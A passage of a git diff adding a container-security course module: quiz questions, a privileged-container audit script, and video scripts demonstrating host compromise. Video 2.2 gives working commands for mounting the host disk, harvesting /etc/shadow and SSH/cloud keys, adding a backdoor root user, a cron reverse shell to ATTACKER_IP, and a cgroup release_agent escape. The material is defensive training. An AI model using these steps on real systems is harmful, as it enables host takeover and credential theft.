+root:$6$...encrypted_hash... +``` + +**NARRATION:** +"Ready? Let's start by understanding exactly what the `--privileged` flag does to a container. Because once you see what it unlocks, you'll understand why it should never appear in production." + +--- + +## SCRIPT END + +### Post-Production Notes +- Use a more dramatic/darker slide theme for this module to differentiate from Module 1 +- Red accent color for warning elements throughout this module +- Terminal teaser should have a slight glitch/scan-line effect for dramatic impact +- Add a brief "⚠️ Lab Environment Only" disclaimer overlay during the terminal teaser +- Music: slightly more intense/dramatic than Module 1, fading before terminal teaser diff --git a/container-security-course/module_02_privileged_containers/module_summary_script.pdf b/container-security-course/module_02_privileged_containers/module_summary_script.pdf new file mode 100644 index 0000000..7afee38 Binary files /dev/null and b/container-security-course/module_02_privileged_containers/module_summary_script.pdf differ diff --git a/container-security-course/module_02_privileged_containers/questions.docx b/container-security-course/module_02_privileged_containers/questions.docx new file mode 100644 index 0000000..e28bde9 Binary files /dev/null and b/container-security-course/module_02_privileged_containers/questions.docx differ diff --git a/container-security-course/module_02_privileged_containers/questions.md b/container-security-course/module_02_privileged_containers/questions.md new file mode 100644 index 0000000..88f5e8a --- /dev/null +++ b/container-security-course/module_02_privileged_containers/questions.md @@ -0,0 +1,86 @@ +# Module 2: Privileged Containers & Attack Vectors — Assessment Questions + +--- + +## Module-Level Assessment (3 MCQs) + +### Question 1: Privileged Container Behavior + +A developer argues that running a container with `--privileged` is acceptable because "the application inside the container is trusted and only performs file processing." As a security engineer, which response BEST explains the risk? + +**A)** Privileged containers only affect networking and are safe for file processing workloads +**B)** The `--privileged` flag disables Seccomp, AppArmor, and capability restrictions, and grants access to all host devices — meaning any vulnerability in the application, its dependencies, or the base image could be exploited to achieve full host compromise without needing any additional misconfiguration +**C)** Privileged containers are acceptable if the application is trusted, as the trust boundary prevents exploitation +**D)** The `--privileged` flag only adds extra Linux capabilities but maintains Seccomp and AppArmor protections, so the risk is moderate + +**Correct Answer:** B + +**Explanation:** The `--privileged` flag simultaneously disables multiple security layers: it grants all 41 Linux capabilities (not just the default 14), disables Seccomp system call filtering, disables AppArmor/SELinux mandatory access control, and provides access to all host devices. The "trusted application" argument fails because the application is not the only code running — the container also contains the base image's OS packages, all application dependencies, and any libraries. A vulnerability in any of these components — combined with the complete absence of security controls — provides a direct path to host compromise. Trust in the application does not extend to its entire dependency chain. + +--- + +### Question 2: Docker Socket Escape + +During a penetration test, you gain shell access to a container and discover that `/var/run/docker.sock` is mounted inside the container. The container is running with default (non-privileged) settings. What is the MOST effective attack path? + +**A)** Use the Docker socket to list running containers, then attempt to exploit a kernel vulnerability to escape +**B)** Use the Docker socket to create a new privileged container with the host's root filesystem mounted, then chroot into the host filesystem to gain root shell access on the host +**C)** Read the Docker socket file to extract Docker daemon credentials, then use those credentials to SSH to the host +**D)** The Docker socket cannot be used for privilege escalation from a non-privileged container because it requires CAP_SYS_ADMIN + +**Correct Answer:** B + +**Explanation:** The Docker socket provides full access to the Docker API, which runs as root on the host. Through this API, an attacker can create any container with any configuration — including `--privileged` with a host filesystem bind mount (`-v /:/hostfs`). No special capabilities are needed in the current container; the escalation happens through the new container. The attacker creates a new privileged container, mounts the host's root filesystem, and uses `chroot` to get a full root shell on the host. This is a well-documented, trivial attack that requires no exploit development — only standard Docker commands. The Docker socket does not contain extractable credentials (C), and it does not require SYS_ADMIN to use (D). + +--- + +### Question 3: CVE Impact Assessment + +Your organization discovers that all production hosts are running a Linux kernel version affected by CVE-2022-0185 (heap overflow in filesystem context handling, exploitable with CAP_SYS_ADMIN). Your containers run with default Docker settings (no `--privileged`, no extra capabilities). An operations engineer suggests that since no containers have CAP_SYS_ADMIN, the hosts are not at risk. Is this assessment correct? + +**A)** Yes — without CAP_SYS_ADMIN in any container, the vulnerability cannot be exploited, so patching can be deferred +**B)** Partially — the direct exploit requires CAP_SYS_ADMIN, but if unprivileged user namespaces are enabled on the host, any container process can create a user namespace and obtain CAP_SYS_ADMIN within it, potentially triggering the vulnerability. The kernel must still be patched +**C)** No — kernel vulnerabilities affect all processes regardless of capabilities, so the assessment is completely wrong +**D)** Yes — Docker's default Seccomp profile blocks the fsconfig system call, so the exploit is prevented + +**Correct Answer:** B + +**Explanation:** The assessment is partially correct but dangerously incomplete. While CVE-2022-0185 requires CAP_SYS_ADMIN, the capability can be obtained in the *initial user namespace* on systems where `kernel.unprivileged_userns_clone` is enabled (which is the default on many distributions including Ubuntu). A container process can create a user namespace and obtain CAP_SYS_ADMIN within it, which may be sufficient to trigger the vulnerability depending on the kernel version and configuration. Docker's default Seccomp profile does NOT block the `fsconfig` system call (D is incorrect). Option C overstates the case — capabilities do matter for exploitation, but the user namespace vector must be considered. The correct action is to patch the kernel AND consider disabling unprivileged user namespaces as an additional mitigation. + +--- + +## Final Assessment Contribution (2 Comprehensive MCQs) + +### Final Question 1: Multi-Vector Attack Scenario + +You are investigating a security incident on a production host running 8 containers. The host runs Docker with default settings. One container — a CI/CD build agent — has the Docker socket mounted (`-v /var/run/docker.sock:/var/run/docker.sock`). The investigation reveals: +1. The CI/CD container was compromised through a malicious build dependency +2. A new container appeared in `docker ps` with `--privileged` and `-v /:/hostfs` +3. A new SSH key was added to `/root/.ssh/authorized_keys` on the host +4. A cron job was installed at `/etc/cron.d/update-check` running a reverse shell + +Which assessment BEST describes the attack chain? + +**A)** The attacker exploited a kernel vulnerability to escape the CI/CD container, then created the privileged container as a persistence mechanism +**B)** The attacker used the mounted Docker socket to create a new privileged container with host filesystem access, then used that container to add an SSH key and cron-based reverse shell for persistent host access +**C)** The attacker compromised the Docker daemon remotely through an exposed TCP port, then created containers and modified host files +**D)** The attacker exploited CVE-2019-5736 to overwrite the runc binary, which then created the privileged container automatically + +**Correct Answer:** B + +**Explanation:** The evidence perfectly matches a Docker socket escalation chain: (1) the CI/CD container was compromised through a supply chain attack (malicious dependency), (2) the attacker used the mounted Docker socket — which provides full Docker API access — to create a new privileged container with the host's root filesystem mounted at /hostfs, (3) from the privileged container, the attacker wrote an SSH key to the host's root authorized_keys file for persistent remote access, and (4) installed a cron-based reverse shell for redundant persistence. This requires no kernel exploit (A), no exposed TCP port (C), and no runtime vulnerability (D). It's entirely enabled by the single misconfiguration of mounting the Docker socket in the CI/CD container. The attack complexity is very low — only standard Docker commands are needed. + +--- + +### Final Question 2: Defensive Architecture + +After reviewing the attacks covered in Module 2, your team is tasked with hardening a container deployment. Which combination of controls would MOST effectively prevent the demonstrated attack vectors while maintaining operational functionality? + +**A)** Deploy all containers with `--privileged` but add strict AppArmor profiles to limit application behavior, and use Docker Content Trust for image verification +**B)** Use `--cap-drop=ALL` on all containers, replace Docker socket mounts with a least-privilege API proxy (e.g., Docker Socket Proxy), enforce Seccomp profiles, run containers as non-root, use read-only root filesystems, and deploy admission controllers to block privileged containers +**C)** Migrate all workloads to virtual machines to eliminate container escape risks entirely, and run Docker inside each VM for container management +**D)** Enable user namespaces globally, disable all network access for containers, and only allow containers to run pre-approved images from a private registry + +**Correct Answer:** B + +**Explanation:** Option B implements defense-in-depth against all demonstrated attack vectors: `--cap-drop=ALL` prevents capability-based escapes (CAP_SYS_ADMIN escape from Video 2.3); replacing Docker socket mounts with a proxy prevents socket-based escalation (Video 2.3); Seccomp profiles reduce the kernel attack surface (relevant to CVE-2022-0185 from Video 2.4); non-root containers reduce the impact of application compromise; read-only filesystems prevent persistence mechanisms; and admission controllers (OPA Gatekeeper, Kyverno) enforce these policies cluster-wide, preventing developers from deploying privileged containers. Option A is contradictory — `--privileged` disables AppArmor, making the profiles ineffective. Option C is impractical and doesn't address the actual misconfiguration risks. Option D is operationally infeasible — disabling all network access would make most containerized applications non-functional. diff --git a/container-security-course/module_02_privileged_containers/questions.pdf b/container-security-course/module_02_privileged_containers/questions.pdf new file mode 100644 index 0000000..1020e1f Binary files /dev/null and b/container-security-course/module_02_privileged_containers/questions.pdf differ diff --git a/container-security-course/module_02_privileged_containers/video_01_script.docx b/container-security-course/module_02_privileged_containers/video_01_script.docx new file mode 100644 index 0000000..e340c29 Binary files /dev/null and b/container-security-course/module_02_privileged_containers/video_01_script.docx differ diff --git a/container-security-course/module_02_privileged_containers/video_01_script.md b/container-security-course/module_02_privileged_containers/video_01_script.md new file mode 100644 index 0000000..0f23b49 --- /dev/null +++ b/container-security-course/module_02_privileged_containers/video_01_script.md @@ -0,0 +1,288 @@ +# Video 2.1: What Privileged Containers Are and Why They're Dangerous + +**Duration:** 8:00 +**Format:** PPT (25%) / Terminal (40%) / Code Editor (20%) / Browser (15%) +**Resolution:** 1920x1080 @ 30fps +**Prerequisites:** Module 1 complete + +--- + +## SCRIPT BEGIN + +### [0:00–0:50] — What Does --privileged Actually Do? (PPT Slide) + +**SLIDE:** Title: *"The --privileged Flag — What It Unlocks"* + +Two-column comparison: + +| Default Container | Privileged Container | +|-------------------|---------------------| +| 14 capabilities | ALL 41 capabilities | +| Seccomp filter active (~44 calls blocked) | Seccomp DISABLED | +| AppArmor profile applied | AppArmor DISABLED | +| Device access denied | ALL host devices accessible | +| /proc and /sys limited | /proc and /sys fully writable | +| Read-only cgroup filesystem | Writable cgroup filesystem | +| Cannot load kernel modules | CAN load kernel modules | +| Cannot mount filesystems | CAN mount ANY filesystem | + +**NARRATION:** +"The `--privileged` flag is a single switch that disables virtually every security mechanism Docker applies to a container. Let me be precise about what it does. It grants all 41 Linux capabilities — not just the default 14. It disables the Seccomp system call filter entirely. It disables AppArmor or SELinux confinement. It gives the container access to every device on the host — every disk, every USB device, every GPU. It makes `/proc` and `/sys` fully writable, which means the container can reconfigure kernel parameters. It makes the cgroup filesystem writable, allowing the container to modify its own resource limits. And it grants the ability to load kernel modules — injecting code directly into the kernel. In short, `--privileged` gives the container the same level of access as a root process running directly on the host. There is no meaningful isolation left." + +--- + +### [0:50–2:00] — Proving the Difference (Terminal) + +**SCREEN:** Terminal at 150% zoom + +**NARRATION:** +"Let me prove each of these differences." + +**COMMAND + EXPLANATION:** + +```bash +# Compare capabilities: default container +$ docker run --rm alpine sh -c \ + 'apk add -q libcap && capsh --print | grep "Bounding set"' +``` +*"Default container — 14 capabilities in the bounding set."* + +```bash +# Compare capabilities: privileged container +$ docker run --rm --privileged alpine sh -c \ + 'apk add -q libcap && capsh --print | grep "Bounding set"' +``` +*"Privileged container — every single capability is present. Let me highlight the dangerous additions."* + +```bash +# Decode and compare +$ echo "=== DEFAULT ===" && \ + docker run --rm alpine sh -c \ + 'cat /proc/1/status | grep CapBnd' && \ + echo "=== PRIVILEGED ===" && \ + docker run --rm --privileged alpine sh -c \ + 'cat /proc/1/status | grep CapBnd' +``` +*"The capability bitmask for the privileged container has every bit set. That includes SYS_ADMIN — which alone can be used for container escape. It includes SYS_PTRACE — which allows attaching to any process. SYS_MODULE — for loading kernel modules. NET_ADMIN — for reconfiguring networking. DAC_READ_SEARCH — for bypassing file permission checks. Every one of these is an escalation vector."* + +--- + +### [2:00–3:00] — Seccomp and AppArmor Status (Terminal) + +```bash +# Check Seccomp status: default container +$ docker run --rm alpine cat /proc/1/status | grep -i seccomp +Seccomp: 2 +Seccomp_filters: 1 +``` +*"Default container — Seccomp mode 2 with one filter loaded. System calls are being restricted."* + +```bash +# Check Seccomp status: privileged container +$ docker run --rm --privileged alpine cat /proc/1/status | grep -i seccomp +Seccomp: 0 +Seccomp_filters: 0 +``` +*"Privileged container — Seccomp mode 0. Filtering is completely disabled. Every system call the kernel supports is available to this container. That's over 350 system calls — including `mount`, `kexec_load`, `reboot`, `init_module`, and `bpf`."* + +```bash +# Check AppArmor status: default container +$ docker run --rm alpine cat /proc/1/attr/current +docker-default (enforce) +``` +*"Default container — the docker-default AppArmor profile is enforced."* + +```bash +# Check AppArmor status: privileged container +$ docker run --rm --privileged alpine cat /proc/1/attr/current +unconfined +``` +*"Privileged container — unconfined. No mandatory access control whatsoever."* + +--- + +### [3:00–4:15] — Device Access (Terminal) + +**NARRATION:** +"Now let's look at device access — this is where it gets really dangerous." + +```bash +# Default container — limited /dev +$ docker run --rm alpine ls /dev/ | wc -l +# Typically 15-20 devices +$ docker run --rm alpine ls /dev/ +``` +*"A default container sees a minimal set of devices — null, zero, random, urandom, and a few pseudo-terminals. No disk devices, no USB, no GPU."* + +```bash +# Privileged container — full host /dev +$ docker run --rm --privileged alpine ls /dev/ | wc -l +# Typically 100+ devices +$ docker run --rm --privileged alpine ls /dev/ | head -30 +``` +*"A privileged container sees everything. Every device on the host is visible and accessible."* + +```bash +# The critical one: host disk devices +$ docker run --rm --privileged alpine ls /dev/sd* +/dev/sda /dev/sda1 /dev/sda2 +``` +*"There are the host's disk devices — sda, sda1, sda2. This is the host's primary hard drive. From inside this container, I can read and write to the host's filesystem at the block device level. We'll exploit this in the next lesson."* + +```bash +# Another dangerous one: /dev/mem — physical memory access +$ docker run --rm --privileged alpine ls -la /dev/mem +crw-r----- 1 root kmem 1, 1 Jan 15 08:00 /dev/mem +``` +*"/dev/mem — direct access to physical memory. With the right capabilities and this device node, you can read and write the host's RAM directly. This bypasses every software-level protection."* + +--- + +### [4:15–5:15] — Why Do Privileged Containers Exist? (PPT Slide) + +**SLIDE:** Title: *"Legitimate Use Cases for --privileged"* + +| Use Case | Why Privileged Is Needed | Better Alternative | +|----------|------------------------|--------------------| +| Docker-in-Docker (CI/CD) | Needs to create containers | Use kaniko, buildah, or mounted socket | +| System monitoring agents | Needs host-level visibility | Use specific capabilities + host PID/NET | +| Network plugins (CNI) | Needs to configure host networking | Use NET_ADMIN + NET_RAW only | +| Storage drivers | Needs block device access | Use specific device mounts | +| Hardware access (GPU) | Needs device files | Use `--device` flag for specific devices | +| Kernel module management | Needs SYS_MODULE | Manage modules on host directly | + +**NARRATION:** +"So why does `--privileged` exist? There are legitimate use cases — Docker-in-Docker for CI/CD pipelines, system monitoring agents that need host visibility, network plugins that configure host networking, and GPU workloads that need device access. But for every one of these, there's a better alternative that doesn't require full privilege. Docker-in-Docker? Use kaniko or buildah for rootless builds. Monitoring? Grant only the specific capabilities needed. GPU access? Use the `--device` flag to expose only the GPU device, not all devices. Network plugins? Use `--cap-add=NET_ADMIN` instead of `--privileged`. The `--privileged` flag is a sledgehammer when you almost always need a scalpel." + +--- + +### [5:15–6:30] — Detecting Privileged Containers (Terminal + Code Editor) + +**NARRATION:** +"As a security professional, you need to detect privileged containers in your environment." + +**TERMINAL:** + +```bash +# Method 1: Docker inspect +$ docker run -d --name priv-test --privileged alpine sleep 3600 +$ docker inspect priv-test --format '{{.HostConfig.Privileged}}' +true +``` +*"The simplest method — `docker inspect` with the Privileged field."* + +```bash +# Method 2: Check from inside the container +$ docker exec priv-test sh -c 'cat /proc/1/status | grep -c "CapBnd.*000001ffffffffff"' +``` +*"From inside a container, check the capability bounding set. If it's all 1s, it's privileged."* + +```bash +# Method 3: List ALL running containers and check privilege status +$ docker ps -q | xargs -I{} docker inspect --format \ + '{{.Name}}: Privileged={{.HostConfig.Privileged}}' {} +``` +*"To audit your entire environment — iterate through all running containers and check each one."* + +```bash +# Clean up +$ docker rm -f priv-test +``` + +**CODE EDITOR — Detection script at 150% zoom:** + +```bash +#!/bin/bash +# privileged_container_audit.sh +# Detect all privileged containers and containers with dangerous capabilities + +echo "=== PRIVILEGED CONTAINER AUDIT ===" +echo "Date: $(date)" +echo "Host: $(hostname)" +echo "" + +echo "--- Privileged Containers ---" +for cid in $(docker ps -q); do + name=$(docker inspect --format '{{.Name}}' "$cid" | sed 's/\///') + priv=$(docker inspect --format '{{.HostConfig.Privileged}}' "$cid") + if [ "$priv" = "true" ]; then + echo "[CRITICAL] $name ($cid) is running in PRIVILEGED mode" + fi +done + +echo "" +echo "--- Containers with Dangerous Capabilities ---" +DANGEROUS_CAPS="SYS_ADMIN SYS_PTRACE SYS_MODULE DAC_READ_SEARCH NET_ADMIN" +for cid in $(docker ps -q); do + name=$(docker inspect --format '{{.Name}}' "$cid" | sed 's/\///') + caps=$(docker inspect --format '{{.HostConfig.CapAdd}}' "$cid") + for cap in $DANGEROUS_CAPS; do + if echo "$caps" | grep -q "$cap"; then + echo "[WARNING] $name has $cap capability" + fi + done +done + +echo "" +echo "--- Containers with Docker Socket Mounted ---" +for cid in $(docker ps -q); do + name=$(docker inspect --format '{{.Name}}' "$cid" | sed 's/\///') + mounts=$(docker inspect --format '{{range .Mounts}}{{.Source}} {{end}}' "$cid") + if echo "$mounts" | grep -q "docker.sock"; then + echo "[CRITICAL] $name has Docker socket mounted" + fi +done + +echo "" +echo "=== AUDIT COMPLETE ===" +``` + +*"Here's a detection script you can use. It checks for privileged containers, dangerous capability additions, and Docker socket mounts — three of the most critical runtime misconfigurations. Run this as part of your regular security audit process."* + +--- + +### [6:30–7:15] — The Capability Deep Dive (PPT Slide) + +**SLIDE:** Title: *"The Most Dangerous Capabilities"* + +| Capability | What It Allows | Escape Risk | +|------------|---------------|-------------| +| CAP_SYS_ADMIN | Mount filesystems, configure namespaces, BPF, many more | **CRITICAL** — container escape via mount | +| CAP_SYS_PTRACE | Trace/control any process | **HIGH** — attach to host processes | +| CAP_SYS_MODULE | Load/unload kernel modules | **CRITICAL** — kernel-level code injection | +| CAP_DAC_READ_SEARCH | Bypass file read permission checks | **HIGH** — read any host file | +| CAP_NET_ADMIN | Configure networking | **MEDIUM** — network-level attacks | +| CAP_SYS_RAWIO | Raw I/O access | **CRITICAL** — direct hardware access | +| CAP_MKNOD | Create device files | **HIGH** — create device nodes for host devices | + +**NARRATION:** +"Not all capabilities are equally dangerous. SYS_ADMIN is the most versatile — it's required for over 30 different privileged operations including mounting filesystems, which is the most common container escape technique. SYS_PTRACE allows process tracing — attaching a debugger to host processes if PID namespace is shared. SYS_MODULE allows loading kernel modules — game over if available. DAC_READ_SEARCH bypasses file permission checks. Any one of these in isolation can lead to a container escape under the right conditions. Privileged mode grants all of them simultaneously." + +--- + +### [7:15–8:00] — Key Takeaways and Bridge (PPT Slide) + +**SLIDE:** Title: *"Key Takeaways"* + +1. `--privileged` disables ALL container security mechanisms simultaneously +2. It grants 41 capabilities, disables Seccomp, disables AppArmor, exposes all devices +3. A privileged container has equivalent access to a root process on the host +4. Every legitimate use case has a less-privileged alternative +5. Detection requires auditing both Docker inspect output and runtime behavior + +**NARRATION:** +"The `--privileged` flag is the most dangerous single option in Docker. It disables every security mechanism simultaneously and gives the container root-equivalent access to the host. In the next lesson, we're going to stop talking about what privileged containers can do — and actually do it. We'll mount the host filesystem, read sensitive data, establish persistence, and demonstrate full host system compromise from inside a privileged container." + +**SLIDE:** *"Next: Host System Compromise Demonstrations →"* + +--- + +## SCRIPT END + +### Post-Production Notes +- Use red accent colors throughout this video for warning emphasis +- The capability comparison should use an animated side-by-side with default on left expanding to privileged on right +- For device listing, use split terminal: left showing default container, right showing privileged +- The detection script in the code editor should be syntax-highlighted with bash coloring +- Add a "⚠️ Lab Environment" watermark on all terminal demonstrations +- Capability table should have color-coded risk levels: red for CRITICAL, orange for HIGH, yellow for MEDIUM diff --git a/container-security-course/module_02_privileged_containers/video_01_script.pdf b/container-security-course/module_02_privileged_containers/video_01_script.pdf new file mode 100644 index 0000000..1768bfd Binary files /dev/null and b/container-security-course/module_02_privileged_containers/video_01_script.pdf differ diff --git a/container-security-course/module_02_privileged_containers/video_02_script.docx b/container-security-course/module_02_privileged_containers/video_02_script.docx new file mode 100644 index 0000000..1aacd30 Binary files /dev/null and b/container-security-course/module_02_privileged_containers/video_02_script.docx differ diff --git a/container-security-course/module_02_privileged_containers/video_02_script.md b/container-security-course/module_02_privileged_containers/video_02_script.md new file mode 100644 index 0000000..449492e --- /dev/null +++ b/container-security-course/module_02_privileged_containers/video_02_script.md @@ -0,0 +1,315 @@ +# Video 2.2: Host System Compromise from Privileged Containers + +**Duration:** 8:00 +**Format:** PPT (15%) / Terminal (50%) / Code Editor (25%) / Browser (10%) +**Resolution:** 1920x1080 @ 30fps +**Prerequisites:** Video 2.1 + +--- + +## SCRIPT BEGIN + +### [0:00–0:30] — Opening Context (PPT Slide) + +**SLIDE:** Title: *"From Container to Host — Step by Step"* +Attack flow diagram: +``` +Privileged Container → Mount Host Disk → Chroot into Host FS + → Read Credentials → Establish Persistence → Game Over +``` + +**NARRATION:** +"In this lesson, we're going to demonstrate a complete host compromise from inside a privileged container. No kernel exploits, no zero-days — just using the access that the `--privileged` flag explicitly grants. Everything I'm about to show you works on any default Docker installation. This is a lab environment — never perform these techniques on systems you don't own." + +**ON-SCREEN OVERLAY:** ⚠️ EDUCATIONAL LAB ENVIRONMENT — AUTHORIZED TESTING ONLY + +--- + +### [0:30–2:00] — Attack Step 1: Mount the Host Filesystem (Terminal) + +**SCREEN:** Terminal at 150% zoom + +**NARRATION:** +"Let's start. I'm an attacker who has gained shell access inside a privileged container." + +**COMMAND + EXPLANATION:** + +```bash +# Start a privileged container (simulating attacker access) +$ docker run --rm -it --privileged alpine sh +``` +*"I'm now inside a privileged container. First, I need to identify the host's disk."* + +```bash +# Enumerate available block devices +/ # fdisk -l 2>/dev/null | grep "Disk /dev" +Disk /dev/sda: 50 GiB, 53687091200 bytes, 104857600 sectors +``` +*"fdisk shows me /dev/sda — a 50 GB disk. This is the host's primary drive. I can see it because `--privileged` gives me access to all device files."* + +```bash +# List partitions +/ # fdisk -l /dev/sda +Device Boot Start End Sectors Size Id Type +/dev/sda1 * 2048 2099199 2097152 1G 83 Linux +/dev/sda2 2099200 104857566 102758367 49G 83 Linux +``` +*"Two partitions — sda1 is the boot partition, sda2 is the root filesystem. Let's mount it."* + +```bash +# Mount the host's root filesystem +/ # mkdir -p /mnt/host +/ # mount /dev/sda2 /mnt/host +``` +*"Mounted. I now have full read-write access to the host's root filesystem."* + +```bash +# Verify — read the host's /etc/hostname +/ # cat /mnt/host/etc/hostname +actual-production-host +``` +*"There's the host's real hostname. I'm reading the host's filesystem from inside the container."* + +--- + +### [2:00–3:15] — Attack Step 2: Credential Harvesting (Terminal) + +**NARRATION:** +"Now let's harvest credentials." + +```bash +# Read the shadow file (password hashes) +/ # cat /mnt/host/etc/shadow | head -5 +root:$6$rounds=656000$salt$hash...:19400:0:99999:7::: +daemon:*:19400:0:99999:7::: +syslog:*:19400:0:99999:7::: +ubuntu:$6$rounds=656000$salt$hash...:19400:0:99999:7::: +``` +*"Shadow file — containing password hashes for every user on the host. These can be cracked offline with hashcat or John the Ripper."* + +```bash +# Read SSH keys +/ # cat /mnt/host/root/.ssh/authorized_keys +/ # cat /mnt/host/home/*/.ssh/id_rsa 2>/dev/null +``` +*"SSH authorized keys and private keys — if they exist, this gives me remote access to the host and potentially to other systems these keys authenticate to."* + +```bash +# Read Docker daemon configuration +/ # cat /mnt/host/etc/docker/daemon.json +``` +*"The Docker daemon configuration — I can see if there are additional misconfigurations or credentials."* + +```bash +# Search for application credentials +/ # grep -r "password\|secret\|api_key\|token" \ + /mnt/host/etc/ /mnt/host/home/ /mnt/host/opt/ \ + 2>/dev/null | head -20 +``` +*"A recursive grep for common credential patterns. In real environments, this finds database passwords, API keys, cloud credentials, and more."* + +```bash +# Read cloud provider credentials +/ # cat /mnt/host/home/*/.aws/credentials 2>/dev/null +/ # cat /mnt/host/home/*/.config/gcloud/credentials.db 2>/dev/null +``` +*"Cloud credentials — AWS access keys, GCP service account keys. From a single container escape, you can pivot to the entire cloud infrastructure."* + +--- + +### [3:15–4:45] — Attack Step 3: Establish Persistence (Terminal + Code Editor) + +**NARRATION:** +"An attacker doesn't just want access now — they want to keep it. Let's establish persistence." + +**TERMINAL:** + +```bash +# Method 1: Add SSH key for persistent remote access +/ # mkdir -p /mnt/host/root/.ssh +/ # echo "ssh-rsa AAAAB3...attacker_key... attacker@evil" \ + >> /mnt/host/root/.ssh/authorized_keys +/ # chmod 600 /mnt/host/root/.ssh/authorized_keys +``` +*"Method one — add an SSH public key to root's authorized_keys. The attacker can now SSH directly to the host as root from anywhere."* + +```bash +# Method 2: Create a backdoor user +/ # echo 'backdoor:$6$salt$hash:0:0::/root:/bin/bash' \ + >> /mnt/host/etc/passwd +/ # echo 'backdoor:$6$salt$hash:19400:0:99999:7:::' \ + >> /mnt/host/etc/shadow +``` +*"Method two — create a backdoor user with root privileges (UID 0). This user can log in with a known password."* + +**CODE EDITOR — Reverse shell cron persistence:** + +```bash +# Method 3: Cron-based reverse shell (written to host's crontab) +# This runs on the HOST, not in the container + +# Write a reverse shell script to the host +cat > /mnt/host/usr/local/bin/.update-check.sh << 'EOF' +#!/bin/bash +# Disguised as a system update check +bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 +EOF + +chmod +x /mnt/host/usr/local/bin/.update-check.sh + +# Add to root's crontab on the host +echo "*/5 * * * * /usr/local/bin/.update-check.sh" \ + >> /mnt/host/var/spool/cron/crontabs/root +``` + +**NARRATION:** +*"Method three — write a reverse shell script to the host filesystem and register it in root's crontab. Every five minutes, the host will reach out to the attacker's server. The script is disguised as a system update check and hidden as a dot-file. This persists across container restarts, container deletions, and even Docker daemon restarts — because it runs on the host."* + +--- + +### [4:45–5:45] — Attack Step 4: Pivot to Other Containers (Terminal) + +**NARRATION:** +"With host access, I can now reach every other container." + +```bash +# Access Docker socket on the host +/ # ls -la /mnt/host/var/run/docker.sock +srw-rw---- 1 root docker 0 Jan 15 08:00 /var/run/docker.sock +``` + +```bash +# Use chroot to get a proper host shell +/ # chroot /mnt/host bash +root@host# docker ps +CONTAINER ID IMAGE COMMAND STATUS +a1b2c3d4e5f6 postgres "docker..." Up 2 hours +f6e5d4c3b2a1 webapp "node..." Up 2 hours +``` +*"Using chroot, I'm now effectively running on the host. I can see all running containers — including a Postgres database and a web application."* + +```bash +# Read another container's environment variables (often contain credentials) +root@host# docker inspect postgres --format '{{range .Config.Env}}{{println .}}{{end}}' +POSTGRES_PASSWORD=super_secret_db_password +POSTGRES_USER=admin +POSTGRES_DB=production +``` +*"There's the database password for the Postgres container — stored in an environment variable, as is common practice. From one misconfigured container, I now have access to the production database."* + +```bash +# Execute commands in any container +root@host# docker exec -it postgres psql -U admin -d production -c "SELECT * FROM users LIMIT 5;" +``` +*"I can execute commands inside any container on this host. The entire multi-container application is compromised."* + +```bash +# Exit chroot and container +root@host# exit +/ # umount /mnt/host +/ # exit +``` + +--- + +### [5:45–6:45] — Alternative Escape: cgroup Release Agent (Terminal) + +**NARRATION:** +"Let me show you a second escape technique that doesn't even require mounting the host filesystem. This uses the cgroup release agent." + +```bash +# Start a new privileged container +$ docker run --rm -it --privileged alpine sh +``` + +```bash +# Create a cgroup with a release agent +/ # mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp +/ # mkdir /tmp/cgrp/exploit + +# Enable the release agent notification +/ # echo 1 > /tmp/cgrp/exploit/notify_on_release + +# Set the release agent to our payload (runs on HOST) +/ # host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab) +/ # echo "$host_path/cmd" > /tmp/cgrp/release_agent +``` +*"I'm mounting the cgroup filesystem and creating a custom cgroup. The release_agent feature allows specifying a program that runs on the host when the last process in a cgroup exits. This program runs on the host, not in the container."* + +```bash +# Create the payload — this will execute ON THE HOST +/ # cat > /cmd << 'EOF' +#!/bin/sh +cat /etc/shadow > /output +hostname >> /output +id >> /output +EOF +/ # chmod +x /cmd + +# Trigger the release agent by creating and destroying a process in the cgroup +/ # echo $$ > /tmp/cgrp/exploit/cgroup.procs +# The shell exits the cgroup, triggering the release agent +``` + +```bash +# Read the output — executed on the host! +/ # cat /output +root:$6$rounds=656000$salt$hash...:19400:0:99999:7::: +actual-host-name +uid=0(root) gid=0(root) groups=0(root) +``` +*"The release agent ran on the host as root and dumped the shadow file and host information. This technique is well-documented and works on any Docker installation where privileged containers are allowed. It was used in real-world attacks and CTF challenges."* + +--- + +### [6:45–7:15] — Impact Summary (PPT Slide) + +**SLIDE:** Title: *"What We Just Demonstrated"* + +From a single `--privileged` flag: +1. ✅ Mounted and read the entire host filesystem +2. ✅ Harvested all user password hashes +3. ✅ Extracted SSH keys and cloud credentials +4. ✅ Established three persistence mechanisms +5. ✅ Accessed all other containers on the host +6. ✅ Extracted production database credentials +7. ✅ Demonstrated an alternative escape via cgroup release agent + +Total time from initial access to full host compromise: **~3 minutes** + +**NARRATION:** +"In under three minutes, from a single privileged container, we achieved full host compromise — credentials, persistence, lateral movement to other containers, and database access. No exploits. No zero-days. Just the access that `--privileged` explicitly grants. This is why security teams must scan for and prevent privileged containers in production." + +--- + +### [7:15–8:00] — Key Takeaways and Bridge (PPT Slide) + +**SLIDE:** Title: *"Defenses Against Privileged Compromise"* + +| Defense | Implementation | +|---------|---------------| +| Ban `--privileged` in production | Use admission controllers (OPA, Kyverno) | +| Runtime detection | Monitor mount syscalls, cgroup changes | +| Audit container configs | Script regular `docker inspect` checks | +| Minimize capabilities | Use `--cap-add` for specific needs only | +| Read-only root filesystem | `--read-only` flag | +| Use non-root users | `--user` flag or USER directive in Dockerfile | + +**NARRATION:** +"Defense starts with policy — ban the `--privileged` flag in production using admission controllers. Use runtime detection to monitor for mount system calls and cgroup modifications that indicate escape attempts. Audit regularly with the detection script we showed earlier. And most importantly — never grant more access than needed. In the next lesson, we'll explore privilege escalation from less-than-privileged starting points — when an attacker doesn't start with `--privileged` but escalates through individual capabilities and misconfigurations." + +**SLIDE:** *"Next: Privilege Escalation & Container Escape Techniques →"* + +--- + +## SCRIPT END + +### Post-Production Notes +- **CRITICAL:** All demonstrations must be performed in an isolated lab environment +- Add a persistent "⚠️ LAB ENVIRONMENT" banner overlay during all terminal sequences +- Redact any real-looking credentials in post-production — use clearly fake values +- The cgroup release agent technique should have a diagram overlay explaining the flow +- For credential harvesting, use a split screen: left for the command, right for explanation +- The impact summary slide should use a stopwatch animation showing "3 minutes" +- Add a brief ethical hacking disclaimer at the video start and end +- Pre-test ALL commands on 